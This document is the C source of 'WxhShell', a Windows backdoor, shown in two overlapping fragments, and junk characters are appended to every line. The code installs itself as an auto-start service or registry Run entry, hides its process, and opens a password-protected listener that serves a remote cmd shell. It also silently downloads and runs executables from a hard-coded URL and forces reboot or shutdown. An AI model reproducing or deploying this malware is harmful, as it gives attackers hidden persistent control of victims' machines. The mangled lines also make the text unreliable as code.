    if(Boot(SHUTDOWN)) 3s;^p,9 Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *mby fu0q  
    else { ;?4EVZ#o  
    closesocket(wsh); %py3fzg  
    ExitThread(0); T,r?% G{XE  
    } 6/6M.p  
    break; g%TOYZr!X  
    } BlnR{Y  
  // 获取shell 1 8%+ Hy=  
  case 's': { ]lqLC  
    CmdShell(wsh); 9(6f:D  
    closesocket(wsh); 3N257]  
    ExitThread(0); Lcb5^e?'Q  
    break; Y7BmW+  
  } gamE^Ee  
  // 退出 TophV}@B`  
  case 'x': { >cJix 1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0fu*}v"  
    CloseIt(wsh); 8 kvF~d ;  
    break; z9Z4MXl  
    } \(_(pcl  
  // 离开 0Xb,ne 7  
  case 'q': { 2ci[L:U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z.lIlp2:  
    closesocket(wsh); =U'!<w<-  
    WSACleanup(); 7vTzY%v  
    exit(1); z;DNl#|!L  
    break; C cPOK2  
        } 9:R3+,ZN  
  } ncrg`<'/,  
  } Uo?4o*}  
qF\w#nG  
  // 提示信息 :CLWmMC_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bb  M^J  
} dIW@L  
  } rU+3~|m  
1J([*)  
  return; =WT&unw}  
} o%7-<\qS  
fqjBor}  
// shell模块句柄 Me79:+d  
int CmdShell(SOCKET sock) S4\a"WYg  
{ +-C.E  
STARTUPINFO si; bgLa`8  
ZeroMemory(&si,sizeof(si)); 4O<sE@X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 60;_^v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }{y)a<`  
PROCESS_INFORMATION ProcessInfo; EHN(K-  
char cmdline[]="cmd"; OClG dFJ|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oqAO@<dL!  
  return 0; aVCPaYe^  
} yIhPB8QL  
s]]lB018O\  
// 自身启动模式 u@1 2:U$  
int StartFromService(void) 9 ,:#Q<UM  
{ k@ <dru  
typedef struct -L +kt_>  
{ ,OWk[0/  
  DWORD ExitStatus; VCfHm"'E8  
  DWORD PebBaseAddress; -0UR%R7q  
  DWORD AffinityMask; .fbY2b([  
  DWORD BasePriority; ?5FlbiT  
  ULONG UniqueProcessId; !B 4zU:d  
  ULONG InheritedFromUniqueProcessId;  9u^M{6  
}   PROCESS_BASIC_INFORMATION; )X?oBNsj  
FRuPv6  
PROCNTQSIP NtQueryInformationProcess; {CV+1kz  
r4pX4 7H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 58XZ]Mc0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " i:[|7  
q>Di|5<y  
  HANDLE             hProcess; 3m= _a  
  PROCESS_BASIC_INFORMATION pbi; l]4=W<N  
!NH(EWER  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e8rZP(g&g  
  if(NULL == hInst ) return 0; cI P.5)Ca  
/v^ '5j1o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h;,1BpbM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f-3CDUQ`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fGb}V'x}r  
udu<Nis4  
  if (!NtQueryInformationProcess) return 0; {.542}A  
1~ W@[D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bn )1G$0|  
  if(!hProcess) return 0; k:I,$"y4  
OHi.5 (  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +}O -WX?  
#B<EMGH  
  CloseHandle(hProcess); }[Z'Sg]s  
g3].STz6w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gu3iaM$W  
if(hProcess==NULL) return 0; Mh*r)B~%[  
dzEi^* (8  
HMODULE hMod; K(i}?9WD  
char procName[255]; VE-l6@`  
unsigned long cbNeeded; h~7#$i  
pd:7K'yaw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "h#R>3I1)  
g:z<CSIq/  
  CloseHandle(hProcess); D#UuIZ  
ydyTDn  
if(strstr(procName,"services")) return 1; // 以服务启动 g]lEG>y1R  
p;>A:i  
  return 0; // 注册表启动 u [._RA  
} &nP0T-T5y  
g E _+r  
// 主模块 g35!a<JW  
int StartWxhshell(LPSTR lpCmdLine) Vf;&z$D{r  
{ ka~_iUU4  
  SOCKET wsl; 0K[]UU=P=  
BOOL val=TRUE; BbI%tmA7  
  int port=0; :a6LfPEAX  
  struct sockaddr_in door; d!E_EoOi  
sSZ)C|Q  
  if(wscfg.ws_autoins) Install(); gYD1A\  
7Y9#y{v1  
port=atoi(lpCmdLine); H}$7c`;q  
=}0Uw4ub(u  
if(port<=0) port=wscfg.ws_port; _;B wP  
1(-!TJ{  
  WSADATA data; pASX-rb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9a=Ll]=\  
&cL1 EQ(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z~#;[bER  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qtExd~E  
  door.sin_family = AF_INET; C< 9x\JY%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2 ^m}5:0  
  door.sin_port = htons(port); 6@s!J8!  
Z#Mm4(KNh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { se\fbe^0  
closesocket(wsl); m,lZy#02s3  
return 1; &]DB-t#\  
} $DoR@2 ~y  
-N8rs[c  
  if(listen(wsl,2) == INVALID_SOCKET) { x="Wqcnj{  
closesocket(wsl); B+K6(^j,,y  
return 1; ^O18\a  
} !&{rnK  
  Wxhshell(wsl); {4D`VfX_  
  WSACleanup(); i)?7+<X  
=#2c r:1  
return 0; ;cXw;$&D  
Kcm+%p^  
} 6nZ]y&$G-k  
Ipk;Nq  
// 以NT服务方式启动 S MWXP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nF@**,C Q  
{ @|\9<S  
DWORD   status = 0; R9U{r.AA  
  DWORD   specificError = 0xfffffff; 3>KEl^1DB  
)i~AXBt}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iApq!u,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; & Q3Fgj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,AP0*Ln  
  serviceStatus.dwWin32ExitCode     = 0; GGp.u@\r  
  serviceStatus.dwServiceSpecificExitCode = 0; uzBQK  
  serviceStatus.dwCheckPoint       = 0; sp,-JZD  
  serviceStatus.dwWaitHint       = 0; oX|T&"&  
e9o\qEm   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xqt?z n  
  if (hServiceStatusHandle==0) return; 1Cw]~jh  
}R%H?&P  
status = GetLastError(); qYC&0`:H  
  if (status!=NO_ERROR) \baY+,Dr+  
{ ZwkUd-=0i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F\ B/q  
    serviceStatus.dwCheckPoint       = 0; =rA?,74  
    serviceStatus.dwWaitHint       = 0; 4!IuTPmr  
    serviceStatus.dwWin32ExitCode     = status; nGH6D2!F  
    serviceStatus.dwServiceSpecificExitCode = specificError; h[W`P%xZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AELj"=RA  
    return; "+(|]q"W  
  } N d].(_  
xDo0bR(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ev4[4T-( @  
  serviceStatus.dwCheckPoint       = 0; GC')50T J  
  serviceStatus.dwWaitHint       = 0; 2? qC8eC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $aV62uNf  
} =Hg!@5]H  
mtmC,jnD  
// 处理NT服务事件,比如:启动、停止 <tD,Uu{P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O] @E8<?^  
{ j'D%eQI,V  
switch(fdwControl) ek][^^4o  
{ "`>6M&`U  
case SERVICE_CONTROL_STOP: 0P$1=oK  
  serviceStatus.dwWin32ExitCode = 0; 8A#,*@V[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~CNB3r5R  
  serviceStatus.dwCheckPoint   = 0; @G4Z  
  serviceStatus.dwWaitHint     = 0; |Xt.[1  
  { Tn&_ >R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #`VAw ) eV  
  } ;z'&$#pA  
  return; 8ymdg\I+L  
case SERVICE_CONTROL_PAUSE: \Y4(+t=4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B[N]=V  
  break; ~/L:$  
case SERVICE_CONTROL_CONTINUE: (!* l+}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *ERV\/  
  break; "t0^4=c+7  
case SERVICE_CONTROL_INTERROGATE: J :O!4gI  
  break; cYA:k  
}; e$[O J<t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , Y:oTo=~  
} ,Kv6!ib6Q  
wW%b~JX  
// 标准应用程序主函数 $|~ <6A{y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uj8saNu  
{ 287j,'vR  
^B<-.(F  
// 获取操作系统版本 t\M6 d6  
OsIsNt=GetOsVer(); eC-&.Fl  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  NNt n  
90vWqL!  
  // 从命令行安装 w!m4>w  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4|?(LHBD)  
1aAOT6h  
  // 下载执行文件 ~O}r<PQ  
if(wscfg.ws_downexe) { D_l$"35?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2j-l<!s  
  WinExec(wscfg.ws_filenam,SW_HIDE); A%^?z.  
} ctP+ECH  
n9Fq^^?  
if(!OsIsNt) { evyjHcCx  
// 如果时win9x,隐藏进程并且设置为注册表启动 RN`TUCQL  
HideProc(); Xh8U}w<k6  
StartWxhshell(lpCmdLine); SoziFI  
} d]E=w6 +;Q  
else DGHSyB^+1  
  if(StartFromService()) sl$6Zv-l%0  
  // 以服务方式启动 bW`nLiw}%  
  StartServiceCtrlDispatcher(DispatchTable); wq?"NQ?O<  
else iHv+I~/  
  // 普通方式启动 F@<cp ?dR  
  StartWxhshell(lpCmdLine); >g$iO`2  
1)~|{X+~  
return 0; OC&BJNOi  
} EB3/o7)L  
f&vMv.  
!KI^Z1dP(  
Fg`<uW]TFZ  
=========================================== p*<Jg l  
/we]i1-9  
\|>% /P  
lat5n&RP Y  
n.l#(`($4  
Uh.swBC n  
" :q/s%`ob  
o33t~@RX  
#include <stdio.h> @fA{;@N  
#include <string.h> CbZ;gjgY*  
#include <windows.h> vAM1|,U  
#include <winsock2.h> lf-.c$.>  
#include <winsvc.h> 6.]~7n  
#include <urlmon.h> H'i\N?VL  
#w''WOk@ZG  
#pragma comment (lib, "Ws2_32.lib") f>Rux1Je4  
#pragma comment (lib, "urlmon.lib") x_3B) &9  
&$XTe2  
#define MAX_USER   100 // 最大客户端连接数 ? l~qb]._  
#define BUF_SOCK   200 // sock buffer :Quep-:fy<  
#define KEY_BUFF   255 // 输入 buffer -7!L]BcZ.  
V?OTP&+J%  
#define REBOOT     0   // 重启 |M?s[}ll  
#define SHUTDOWN   1   // 关机 ,=e.Q AF!"  
-3ePCAtXbe  
#define DEF_PORT   5000 // 监听端口 S:z|"u:+  
yV`Tw"p  
#define REG_LEN     16   // 注册表键长度 GJdL1ptc  
#define SVC_LEN     80   // NT服务名长度 u.A}&'H  
6?x F!VIL  
// 从dll定义API  L]l/w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m ^FKE:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?n# $y@U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #e.x]v:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Q!%16 P  
3^P;mQ$p1  
// wxhshell配置信息 @:im/SE  
struct WSCFG { 53hX%{3  
  int ws_port;         // 监听端口 &B5&:ib1D  
  char ws_passstr[REG_LEN]; // 口令 `a52{Wa  
  int ws_autoins;       // 安装标记, 1=yes 0=no R?1Z[N  
  char ws_regname[REG_LEN]; // 注册表键名 v{$?Ow T/u  
  char ws_svcname[REG_LEN]; // 服务名 ^Zvb3RJg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a=W%x{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '`;=d<'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z'A 3\f   
int ws_downexe;       // 下载执行标记, 1=yes 0=no qMEd R;o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0to`=;JI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nP[Z6h  
KC"S0 6  
}; Rk5#5R n  
b~UWFX#U  
// default Wxhshell configuration kB?/_a`]  
struct WSCFG wscfg={DEF_PORT, 1>[#./@  
    "xuhuanlingzhe", Ep(xlHTv  
    1, mxEe -q  
    "Wxhshell", }J?,?>Z  
    "Wxhshell", >-V632(/{o  
            "WxhShell Service", .,6o):  
    "Wrsky Windows CmdShell Service", HT/!+#W .  
    "Please Input Your Password: ", ,8zJD&HMx  
  1, i%!<9D~n  
  "http://www.wrsky.com/wxhshell.exe", bLS10^g5  
  "Wxhshell.exe" q0q-Coh>  
    }; ?Sh"%x  
A3.I|/  
// 消息定义模块 =?W7OV^BE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xyo~p,(~t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +@uA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :ek^M (  
char *msg_ws_ext="\n\rExit."; y =sae  
char *msg_ws_end="\n\rQuit."; Lios1|5  
char *msg_ws_boot="\n\rReboot..."; W;8A{3q%N0  
char *msg_ws_poff="\n\rShutdown..."; ea O'|@;{~  
char *msg_ws_down="\n\rSave to "; &*o4~6pQ#  
!4<D^ eh  
char *msg_ws_err="\n\rErr!"; ^O<v'\!z-  
char *msg_ws_ok="\n\rOK!"; `oe=K{aX  
//N="9)@  
char ExeFile[MAX_PATH]; YFu>`w^Y  
int nUser = 0; ]gX8z#*k  
HANDLE handles[MAX_USER]; 3~R,)fO;  
int OsIsNt; /$clk=  
@H$8;CRM  
SERVICE_STATUS       serviceStatus; J0vQqTaT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P(yLRc  
Wgs6}1b g  
// 函数声明 sMAj?]hI$  
int Install(void); Q_p&~PNy5  
int Uninstall(void); =}tomN(F~[  
int DownloadFile(char *sURL, SOCKET wsh); (`slC~"  
int Boot(int flag); =RXeN+ &R  
void HideProc(void); Id^q!4Th9  
int GetOsVer(void); DZmVm['l  
int Wxhshell(SOCKET wsl); x0)=jp '  
void TalkWithClient(void *cs); OYxYlUq  
int CmdShell(SOCKET sock); Jw=7eay$F  
int StartFromService(void); &x B^  
int StartWxhshell(LPSTR lpCmdLine); k?HdW(HA  
q|%+?j(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J<H]vs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :~R a}  
Y,L[0%  
// 数据结构和表定义 X]9<1[f  
SERVICE_TABLE_ENTRY DispatchTable[] = lH?jqp  
{ q{}5wM  
{wscfg.ws_svcname, NTServiceMain}, [(g2u@  
{NULL, NULL} 2.</n}g  
}; CB-;Jqb  
g||EjCsp  
// 自我安装 4$, W\d  
int Install(void) (X^,.qy  
{ LN (\B:wAY  
  char svExeFile[MAX_PATH]; W4av?H  
  HKEY key; D^h! ].3 T  
  strcpy(svExeFile,ExeFile); F0&ubspt\  
WJ-.?   
// 如果是win9x系统,修改注册表设为自启动 AvZ5?rN$  
if(!OsIsNt) { Zgp9Uu}"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a_/4^+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); doTbol?+  
  RegCloseKey(key); 7xB]Z;:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Vx_Xv`Jwb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]v5/K  
  RegCloseKey(key); )uAY_()/  
  return 0; DazoY&AWE  
    } &n8Ja@Y]  
  } Fab]'#1q4  
} bBc<p{  
else { KF(y`(8f  
x0%m}P/  
// 如果是NT以上系统,安装为系统服务 # hn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R+ \%  
if (schSCManager!=0) d0}(d Gl  
{ K"t?  
  SC_HANDLE schService = CreateService NAtDt=  
  ( 6wu`;>  
  schSCManager, >`&2]Wc)  
  wscfg.ws_svcname, )N~ p4kp  
  wscfg.ws_svcdisp, j 7:r8? G  
  SERVICE_ALL_ACCESS, \z2y?"\?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #>KiX84  
  SERVICE_AUTO_START, NwOV2E6@OW  
  SERVICE_ERROR_NORMAL, 6q'Q ?Uw^  
  svExeFile, ,6MJW#~]  
  NULL, Hmm0H6&u  
  NULL, `peR,E  
  NULL, 0+qC_ISns  
  NULL, o:cTc:l)  
  NULL @,= pG  
  ); cy(w*5Upu  
  if (schService!=0) {T^D&i# o  
  { bJ 6ivz  
  CloseServiceHandle(schService); 6&'kN 2  
  CloseServiceHandle(schSCManager); P-[})Z=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !pRu?5  
  strcat(svExeFile,wscfg.ws_svcname); ?[bE/Ya+S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2V% z=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &d6ud |  
  RegCloseKey(key); c\>I0HH;!  
  return 0; 9 4H')(  
    } f^hJAZ  
  } z]hRc8 g}d  
  CloseServiceHandle(schSCManager); ?mC'ZYQI  
} kmTYRl )j  
} i)(G0/:  
2DsP "q79k  
return 1; ?5ZvvAi  
} &0[ L2x}7  
Opf)TAl{  
// 自我卸载 f4AN"rW  
int Uninstall(void) w(`g)`  
{ /d6Rd l`w  
  HKEY key; *XWu)>*o  
<X{w^ cT_Q  
if(!OsIsNt) { #m UQ@X@K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Q(\vl@N=  
  RegDeleteValue(key,wscfg.ws_regname); 5Hj/7~ =  
  RegCloseKey(key); @+zWLq!1pB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W //+[  
  RegDeleteValue(key,wscfg.ws_regname); hTO 2+F*  
  RegCloseKey(key); Va.TUz4  
  return 0; Md>C!c  
  } yc9!JJMkH  
} >Ho=L)u  
} RuVk>(?WK%  
else { "8ZV%%elp  
[~|k;\2 +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `_GCS,/t  
if (schSCManager!=0) ZRc^}5}WA  
{ Z R=[@Oi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2uT6M%OC  
  if (schService!=0) UE5,Ml~X  
  { ";&PtLe  
  if(DeleteService(schService)!=0) { YwY?tOxBe  
  CloseServiceHandle(schService); 0e#PN@  
  CloseServiceHandle(schSCManager); Z/:yYSq  
  return 0; E Lq1   
  } ;c]O*\/  
  CloseServiceHandle(schService); k0PwAt)65  
  } "v wLj:  
  CloseServiceHandle(schSCManager); $ e L-fg  
} 1TA!9cz0Z  
} ]<YS7.pT  
q Sv!5&u  
return 1; +PsR*T  
} 7;'UC','  
ZGX"Vn|YL  
// 从指定url下载文件 ,#;`f=aqTG  
int DownloadFile(char *sURL, SOCKET wsh) +,R!el!o~u  
{ `%#_y67v  
  HRESULT hr; KLG.?`h:  
char seps[]= "/"; r8*xp\/  
char *token; !WGQ34R{  
char *file; S/pU|zV[  
char myURL[MAX_PATH]; TBJ?8W(  
char myFILE[MAX_PATH]; X1}M_h %  
<W3p!  
strcpy(myURL,sURL); 7z,  $  
  token=strtok(myURL,seps); OA9 P"*  
  while(token!=NULL) 91&=UUkK?  
  { MTl @#M  
    file=token; ^)Y3V-@t  
  token=strtok(NULL,seps); (O09HY:  
  } N GnE  
bvZD@F`2  
GetCurrentDirectory(MAX_PATH,myFILE); Zp_j\B  
strcat(myFILE, "\\"); RaTNA W)v>  
strcat(myFILE, file); NW0se DL  
  send(wsh,myFILE,strlen(myFILE),0); 3"0QW4A  
send(wsh,"...",3,0); b0h\l#6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7|dm"%@  
  if(hr==S_OK) U,yZ.1V^:  
return 0; }0 H<G0   
else S3U]AH)C  
return 1; -b+)Dp~$p  
D1>*ml  
} fM]nP4K`  
[D+PDR  
// 系统电源模块 U{l f$  
int Boot(int flag) ]x8Y]wAU&{  
{ W2$rC5|  
  HANDLE hToken; /i@.Xg@:  
  TOKEN_PRIVILEGES tkp; d@*dbECG  
W6EEC<$JL  
  if(OsIsNt) { kn3GgdU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mqJD+ K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]!P6Z?  
    tkp.PrivilegeCount = 1; Bw`?zd\*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @g#| srYD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z(4/;v <CT  
if(flag==REBOOT) { CP"5E?dcK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I hSXU<]  
  return 0; k8}'@w  
} E)I&? <g  
else { V5h_uGOD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Vf-D% h>a  
  return 0; Fgwe`[  
} 3~WI3ZIR  
  } AoxORPp'  
  else { 4TU\SP8sM  
if(flag==REBOOT) { ?_S);  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bfJ<~ss/  
  return 0; #|:q"l9  
} [!KsAsmk  
else { zKYN5|17  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1T~`$zS7  
  return 0; }Sh@.3*  
} #z_.!E  
} 7X$pgNRx/a  
$'*{&/@  
return 1; MbTmdRf  
} UNrO$aX!1'  
?5pZp~  
// win9x进程隐藏模块 /k\)q  
void HideProc(void) B~< bc  
{ 2ss*&BR.  
65+2+p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XL1x8IB  
  if ( hKernel != NULL ) h;cw=G  
  { 0Y~5|OXJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Je'%EJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .k!2{A  
    FreeLibrary(hKernel); 8j ky-r  
  } ~me/ve  
PEKXPF N  
return; KAr5>^<zw  
} v&66F`  
kk CoOTe&  
// 获取操作系统版本 { ux'9SA  
int GetOsVer(void) `RE K,^U  
{ q(#,X~0  
  OSVERSIONINFO winfo; u~N'UD1x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #K> Ue>hx  
  GetVersionEx(&winfo); z=rSb4"W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >dDcm  
  return 1; P!&yYR\  
  else S*ie$}ZX  
  return 0; =}+xD|T  
} WZbRR.TxO  
U'}[:h~)  
// 客户端句柄模块 IJZx$8&A  
int Wxhshell(SOCKET wsl) ZtI@$ An  
{ VW] ,R1q  
  SOCKET wsh; 7<5=fYb r  
  struct sockaddr_in client; &_]bzTok  
  DWORD myID; 8feLhWg'P  
/)Weg1b  
  while(nUser<MAX_USER) _#<7s`i  
{ im mf\  
  int nSize=sizeof(client); r,GgMk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [&p/7  
  if(wsh==INVALID_SOCKET) return 1;  |L  <  
/XuOv(j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j  W -K  
if(handles[nUser]==0) clT[ ?8*  
  closesocket(wsh); 'L%)B-,n  
else c#fSt}J>C  
  nUser++; > mP([]  
  } AD'c#CT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hi ),PfAV  
]vCs9* |B  
  return 0; Gkdxw uRw  
} :-+j,G9 t  
.7Itbp6=R  
// 关闭 socket qi1#s,  
void CloseIt(SOCKET wsh) X'7MW? q@  
{ ~ #P` 7G  
closesocket(wsh); cMAY8$  
nUser--; =A/$[POr  
ExitThread(0); MnW"ksH  
} ;'4Kg@/  
}~ga86:n0  
// 客户端请求句柄 n=h!V$X   
void TalkWithClient(void *cs) ^QTkre  
{ zgSv -h+f  
`S]DHxS  
  SOCKET wsh=(SOCKET)cs; B!1L W4^  
  char pwd[SVC_LEN]; vPu {xy  
  char cmd[KEY_BUFF]; M9(Kxux#  
char chr[1]; QLH6Nmk  
int i,j; MBFn s/  
}Szs9-Wns  
  while (nUser < MAX_USER) { tHH @[E+h  
Qy'-3GB  
if(wscfg.ws_passstr) { 0&6(y* #Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ru*}lDJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]~'pYOB  
  //ZeroMemory(pwd,KEY_BUFF); -$f$z(h  
      i=0; G>+iisb%  
  while(i<SVC_LEN) {  11-?M  
l`EKL2n  
  // 设置超时 n!?u/[@  
  fd_set FdRead; aN"dk-eK  
  struct timeval TimeOut; )m10IyUAY  
  FD_ZERO(&FdRead); 2TX.%%Ze  
  FD_SET(wsh,&FdRead); $&0\BvS  
  TimeOut.tv_sec=8; Z+S1e~~  
  TimeOut.tv_usec=0; R lmeZy4.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U{0! <*W>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7pZd?-6M^  
e>_Il']Mb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]nx5E_j2  
  pwd=chr[0]; DcNwtts  
  if(chr[0]==0xd || chr[0]==0xa) { +2^Mz&I@b  
  pwd=0; 24d{ol)  
  break; @Yzb6@g"  
  } y6Ea_v  
  i++; 8G_KbS  
    } W&9X <c*  
A!_yZ|)$ T  
  // 如果是非法用户,关闭 socket PA${<wyBR_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +C`zI~8  
} R"{oj]d;$F  
,) 3Eog\-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0d #jiG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EceD\}  
A@ 4Oq  
while(1) { Qr*7bE(a  
+bcJm  
  ZeroMemory(cmd,KEY_BUFF); T|h'"3'  
0"xD>ue&  
      // 自动支持客户端 telnet标准   _!E/ em  
  j=0; d /`d:g  
  while(j<KEY_BUFF) { T2MXwd&l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w O*x0$  
  cmd[j]=chr[0]; b:6e2|xf?  
  if(chr[0]==0xa || chr[0]==0xd) { Ve|=<7%%S  
  cmd[j]=0;  ~&Y%yN^  
  break; JcI~8;Z@Z~  
  } Zl=IZ?F   
  j++; K}Rq<z W  
    } iVf8M$!m  
9':MD0P/M  
  // 下载文件 #~;:i  
  if(strstr(cmd,"http://")) { ;Qdw$NuW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Te&5IB-  
  if(DownloadFile(cmd,wsh)) ~#9(Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C4t@;U=x  
  else xSZ+6R|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _[u fH*  
  } iKe68kx  
  else { CJ[^Fi?CH  
>`Zw0S  
    switch(cmd[0]) { ($^=f}+  
